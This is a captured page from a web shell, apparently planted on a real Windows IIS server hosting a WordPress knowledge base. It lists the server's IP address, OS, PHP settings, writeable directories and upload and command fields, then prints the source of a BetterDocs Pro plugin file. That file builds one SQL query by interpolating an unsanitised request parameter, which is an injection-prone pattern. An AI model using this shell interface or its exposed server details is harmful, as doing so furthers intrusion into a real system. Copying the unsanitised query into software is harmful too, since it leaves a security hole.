403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.141
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/betterdocs-pro/includes/REST/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/betterdocs-pro/includes/REST/DocsOrder.php
<?php

namespace WPDeveloper\BetterDocsPro\REST;

use WPDeveloper\BetterDocs\Core\BaseAPI;

class DocsOrder extends BaseAPI {

    /**
     * @return mixed
     */
    public function register() {
        $this->get( '/docs_order', [$this, 'docs_order'], ['orderby' => [], "order" => [], "per_page" => [], "doc_category" => []] );
    }

     /**
     * BetterDocs Order API Callback
     */
    public function docs_order( $attr )
    {
        $query_args = array(
            'post_status' => 'publish',
            'post_type' => 'docs',
            'posts_per_page' => isset($attr['per_page']) ? $attr['per_page'] : 10,
            'orderby' => isset($attr['orderby']) && $attr['orderby'] === 'betterdocs_order' ? 'post__in' : 'menu_order',
        );

        $term_id = isset($attr['doc_category']) ? $attr['doc_category'] : 0;
        $docs_order = get_term_meta($term_id, '_docs_order', true);

        $term_object = get_term($term_id);


        $query_args['tax_query'][] =
            array(
                'taxonomy' => 'doc_category',
                'field'     => 'slug',
                'terms'    => $term_object->slug,
                'operator' => 'AND',
                'include_children' => false
            );

        $query_args['orderby'] =  !empty($docs_order) ? $query_args['orderby'] : 'menu_order';

        $new_ids = [];
        global $wpdb;

        if (!empty($docs_order)) {

            $docs_order = explode(',', $docs_order);

            $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}term_relationships WHERE term_taxonomy_id = $term_id");

            if (!is_null($results) && !empty($results) && is_array($results)) {

                $object_ids = array_filter($results, function ($value) use ($docs_order) {
                    return !in_array($value->object_id, $docs_order);
                });

                if (!empty($object_ids)) {

                    array_walk($object_ids, function ($value) use (&$new_ids) {
                        $new_ids[] = $value->object_id;
                    });
                }
            }
        } else {
            $docs_order = [];
        }



        $query_args['post__in'] = array_merge($new_ids, $docs_order);

        $data = [];
        $loop = new \WP_Query($query_args);

        if ($loop->have_posts()) {
            while ($loop->have_posts()) {
                $loop->the_post();
                $docs                       = array();
                $docs['id']                 = get_the_ID();
                $docs['title']['rendered']  =  wp_kses(get_the_title(get_the_ID()), betterdocs()->template_helper::ALLOWED_HTML_TAGS);
                $docs['permalink']          = get_permalink();
                $data[] = $docs;
            }
            wp_reset_postdata();
        }
        return $data;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit